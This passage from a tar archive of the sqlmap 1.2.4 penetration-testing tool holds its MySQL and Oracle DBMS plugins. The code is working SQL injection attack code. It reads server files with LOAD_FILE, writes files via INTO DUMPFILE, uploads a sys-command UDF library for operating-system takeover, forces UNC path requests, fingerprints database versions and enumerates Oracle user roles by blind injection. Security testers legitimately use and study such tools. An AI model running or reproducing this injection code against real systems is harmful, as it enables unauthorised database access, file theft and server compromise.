Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def nonStackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % rFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % rFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) result = self.nonStackedReadFile(rFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) chunkSize = 1024 if length > chunkSize: result = [] for i in xrange(1, length, chunkSize): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(wFile, dFile, forceCheck) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) return self.askCheckWrittenFile(wFile, dFile, forceCheck) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mysql/fingerprint.py������������������������������������������������������0000664�0000000�0000000�00000025520�13260122637�0021475�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MYSQL) def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/* NoValue */") if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL logger.warn(warnMsg) return None # Reference: https://downloads.mysql.com/archives/community/ versions = ( (32200, 32235), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40131), # MySQL 4.1 (50000, 50096), # MySQL 5.0 (50100, 50172), # MySQL 5.1 (50400, 50404), # MySQL 5.4 (50500, 50558), # MySQL 5.5 (50600, 50638), # MySQL 5.6 (50700, 50720), # MySQL 5.7 (60000, 60014), # MySQL 6.0 (80000, 80003), # MySQL 8.0 ) index = -1 for i in xrange(len(versions)): element = versions[i] version = element[0] version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: break else: index += 1 if index >= 0: prevVer = None for version in xrange(versions[index][0], versions[index][1] + 1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() _ = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if _: actVer += " (%s fork)" % _ if not conf.extensiveFp: value += actVer return value comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = Format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None if banVer and re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None: hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "") # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") if result: Backend.setOs(OS.WINDOWS) elif not result: Backend.setOs(OS.LINUX) if Backend.getOs(): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) else: self.userChooseDbmsOs() self.cleanup(onlyFileTbl=True) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mysql/syntax.py�����������������������������������������������������������0000664�0000000�0000000�00000001602�13260122637�0020467�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii from lib.core.convert import utf8encode from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT 0x6162636465666768 FROM foobar' """ def escaper(value): retVal = None try: retVal = "0x%s" % binascii.hexlify(value) except UnicodeEncodeError: retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value)) return retVal return Syntax._escape(expression, quote, escaper) ������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/mysql/takeover.py���������������������������������������������������������0000664�0000000�0000000�00000011627�13260122637�0020771�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import decloakToTemp from lib.core.common import isStackingAvailable from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import unArrayizeValue from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None self.__plugindir = None GenericTakeover.__init__(self) def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer >= "5.0.67": if self.__plugindir is None: logger.info("retrieving MySQL plugin directory absolute path") self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 if self.__plugindir is None and banVer >= "5.1.19": logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) if isWindowsDriveLetterPath(self.__basedir or ""): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin if Backend.isOs(OS.WINDOWS): self.__plugindir = "%s/lib/plugin" % self.__basedir else: self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.' self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: # logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir # self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 self.__datadir = '.' self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir)) # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # C:\WINDOWS\system32, @@basedir\bin or @@datadir self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): _ = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll_") self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: _ = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so_") self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) ret = inpRet["return"] # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html inject.goStacked("DROP FUNCTION %s" % udf) inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): if not isStackingAvailable(): query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload) else: inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True) ���������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/oracle/�������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016670�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/oracle/__init__.py��������������������������������������������������������0000664�0000000�0000000�00000002013�13260122637�0020775�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.oracle.enumeration import Enumeration from plugins.dbms.oracle.filesystem import Filesystem from plugins.dbms.oracle.fingerprint import Fingerprint from plugins.dbms.oracle.syntax import Syntax from plugins.dbms.oracle.takeover import Takeover from plugins.generic.misc import Miscellaneous class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Oracle methods """ def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.ORACLE] = Syntax.escape ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/oracle/connector.py�������������������������������������������������������0000664�0000000�0000000�00000005317�13260122637�0021242�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import cx_Oracle except: pass import logging import os import re from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector os.environ["NLS_LANG"] = ".AL32UTF8" class Connector(GenericConnector): """ Homepage: http://cx-oracle.sourceforge.net/ User guide: http://cx-oracle.sourceforge.net/README.txt API: http://cx-oracle.sourceforge.net/html/index.html License: http://cx-oracle.sourceforge.net/LICENSE.txt """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) self.__dsn = utf8encode(self.__dsn) self.user = utf8encode(self.user) self.password = utf8encode(self.password) try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), ex: if "Oracle Client library" in str(ex): msg = re.sub(r"DPI-\d+:\s+", "", str(ex)) msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg) msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg) raise SqlmapConnectionException(msg) try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except cx_Oracle.InterfaceError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except cx_Oracle.DatabaseError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/oracle/enumeration.py�����������������������������������������������������0000664�0000000�0000000�00000013524�13260122637�0021575�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import getLimitRange from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[DBMS.ORACLE].roles if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: users = conf.user.split(',') query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and not query2: infoMsg = "trying with table USER_ROLE_PRIVS" logger.info(infoMsg) return self.getRoles(query2=True) if not isNoneValue(values): for value in values: user = None roles = set() for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] # The other columns are the roles else: role = value[count] # In Oracle we get the list of roles as string roles.add(role) if user in kb.data.cachedUsersRoles: kb.data.cachedUsersRoles[user] = list(roles.union(kb.data.cachedUsersRoles[user])) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct: if conf.user: users = conf.user.split(',') else: if not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if user in retrievedUsers: continue infoMsg = "fetching number of roles " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if count != 0 and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user logger.info(infoMsg) roles = set() indexRange = getLimitRange(count, plusOne=True) for index in indexRange: if query2: query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) role = inject.getValue(query, union=False, error=False) # In Oracle we get the list of roles as string roles.add(role) if roles: kb.data.cachedUsersRoles[user] = list(roles) else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersRoles.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return kb.data.cachedUsersRoles, areAdmins ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/oracle/filesystem.py������������������������������������������������������0000664�0000000�0000000�00000001424�13260122637�0021427�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "File system read access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/plugins/dbms/oracle/fingerprint.py�����������������������������������������������������0000664�0000000�0000000�00000007256�13260122637�0021603�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ORACLE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting # directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("ROWNUM=ROWNUM") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database for version in ("12c", "11g", "10g", "9i", "8i"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False def forceDbmsEnum(self): if conf.db: 